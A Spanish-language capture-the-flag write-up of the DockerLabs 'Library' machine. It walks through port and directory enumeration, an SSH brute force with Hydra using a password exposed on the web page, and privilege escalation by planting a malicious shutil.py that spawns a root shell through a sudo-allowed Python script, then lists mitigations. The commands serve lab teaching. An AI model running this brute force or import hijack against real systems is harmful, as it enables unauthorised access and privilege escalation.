> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/library.md).

# Library

## Introduccion

En este laboratorio se compromete una maquina Linux de DockerLabs mediante enumeracion web, reutilizacion de credenciales y una mala configuracion de `sudo` junto con hijacking de librerias en Python.

El objetivo es obtener acceso inicial al sistema y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de puertos con Nmap sobre la maquina objetivo:

```bash
nmap -sV -T4 -p- 172.17.0.2
```

![Nmap](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-0a2ca6a07baa3cd9ac8149b9d1aeaa4cb11ae9fd%2F2026-04-28-01-50-18.png?alt=media)

Se identifican dos servicios abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 9.6p1 Ubuntu |
| 80/tcp | HTTP     | Apache httpd 2.4.58  |

Al acceder al puerto 80 se observa la pagina por defecto de Apache en Ubuntu.

![Apache default page](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-246e5c0a4f87e05c5fb28678ab4a9e34cc63460d%2F2026-04-28-01-51-25.png?alt=media)

***

## Enumeracion web

Se realiza fuerza bruta de directorios y archivos con Gobuster:

```bash
gobuster dir -u http://172.17.0.2 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster raiz](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-d31cc920b43bc70302f9bc5eca5d0c7be05aed02%2F2026-04-28-01-55-16.png?alt=media)

Se encuentran los siguientes recursos interesantes:

| Recurso          | Codigo | Comentario             |
| ---------------- | ------ | ---------------------- |
| `/index.php`     | 200    | Pagina PHP accesible   |
| `/javascript/`   | 301    | Directorio descubierto |
| `/server-status` | 403    | Acceso prohibido       |

Al acceder a `/index.php` aparece una cadena expuesta en la pagina:

```
JIFGHDS87GYDFIGD
```

![Index PHP](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-23730df567188959884210d28db9b0921caaa8ea%2F2026-04-28-02-07-51.png?alt=media)

***

## Enumeracion del directorio JavaScript

Se continua enumerando el directorio `/javascript`:

```bash
gobuster dir -u http://172.17.0.2/javascript \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster javascript](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-fd720bca597eebe85dce02e80adee4ea6c177536%2F2026-04-28-01-59-45.png?alt=media)

Se descubre el directorio `/javascript/jquery/`, aunque el listado directo devuelve un `403 Forbidden`.

![Forbidden jquery](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-0f0523ec6b424d75727ae4deca68f4c8759becc1%2F2026-04-28-01-59-53.png?alt=media)

Se vuelve a enumerar dentro de `/javascript/jquery`:

```bash
gobuster dir -u http://172.17.0.2/javascript/jquery \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster jquery](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-dc8027c38f9dbfa8895547c47576115f581de954%2F2026-04-28-02-04-40.png?alt=media)

Se localiza el recurso `/javascript/jquery/jquery`, que muestra codigo de la libreria jQuery.

![jQuery](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-4b883d3b9acd0c827da3f2dd5c9d4ac1443e37ae%2F2026-04-28-02-04-54.png?alt=media)

***

## Fuerza bruta SSH

La cadena encontrada en `index.php` se prueba como posible password contra el servicio SSH. Para encontrar un usuario valido se utiliza Hydra con `rockyou.txt` como lista de usuarios:

```bash
hydra -L /usr/share/wordlists/rockyou.txt \
  -p "JIFGHDS87GYDFIGD" 172.17.0.2 ssh
```

![Hydra SSH](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-2c8b1b70fac1ca19efb9a58edd450dc2ac7c8df9%2F2026-04-28-02-10-29.png?alt=media)

Hydra encuentra credenciales validas:

```
usuario: carlos
password: JIFGHDS87GYDFIGD
```

***

## Acceso inicial

Con las credenciales obtenidas se accede por SSH:

```bash
ssh carlos@172.17.0.2
```

![SSH carlos](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-7560ac3af3039935a5db4445f7ca8e05966f344b%2F2026-04-28-02-11-58.png?alt=media)

Se obtiene una shell como el usuario `carlos`.

***

## Escalada de privilegios

Se comprueban los privilegios sudo del usuario:

```bash
sudo -l
```

![sudo -l](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-4ca1dac96ad4b3fe435487070e1d64776b9e0516%2F2026-04-28-02-13-46.png?alt=media)

El usuario `carlos` puede ejecutar como `root` y sin password:

```bash
/usr/bin/python3 /opt/script.py
```

Al revisar el script se observa que importa la libreria `shutil`:

```python
import shutil

def copiar_archivo(origen, destino):
    shutil.copy(origen, destino)
    print(f"Archivo copiado de {origen} a {destino}")

if __name__ == "__main__":
    origen = "/opt/script.py"
    destino = "/tmp/script_backup.py"
    copiar_archivo(origen, destino)
```

Tambien se comprueban los permisos del directorio `/opt`:

```bash
ls -la /opt/
```

El directorio pertenece al usuario `carlos`, por lo que se puede crear un archivo `shutil.py` en la misma ruta del script. Python priorizara ese archivo local frente a la libreria legitima, permitiendo secuestrar la importacion.

Se crea `/opt/shutil.py` con el siguiente contenido:

```python
import os
os.system("/bin/bash")
```

![shutil hijacking](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-9cfd48f7df2ed63a99219a12a709e581fb50a548%2F2026-04-28-02-25-47.png?alt=media)

***

## Acceso root

Se ejecuta el script permitido por sudo:

```bash
sudo /usr/bin/python3 /opt/script.py
```

![Root](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-089a31e1c03823934ce0c55b80c4ecf422ff6fe8%2F2026-04-28-02-26-04.png?alt=media)

Se obtiene una shell como `root` y se confirma con:

```bash
id
```

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Exposicion de una posible password en el servicio web
* Reutilizacion de credenciales para SSH
* Permisos inseguros sobre `/opt`
* Ejecucion con `sudo` de un script Python que importa librerias desde una ruta controlada por el usuario

### Puntos clave

| Fase            | Tecnica                  | Resultado                     |
| --------------- | ------------------------ | ----------------------------- |
| Reconocimiento  | Nmap                     | SSH y HTTP expuestos          |
| Enumeracion web | Gobuster                 | Descubrimiento de `index.php` |
| Credenciales    | Hydra                    | Usuario `carlos` encontrado   |
| Acceso inicial  | SSH                      | Shell como `carlos`           |
| Escalada        | Python library hijacking | Shell como `root`             |

### Recomendaciones

* No exponer credenciales ni secretos en paginas web
* Evitar la reutilizacion de passwords entre servicios
* Restringir permisos de escritura en directorios usados por scripts privilegiados
* Usar rutas absolutas y entornos controlados al ejecutar scripts con `sudo`
* Revisar cuidadosamente cualquier regla `NOPASSWD` en `sudoers`
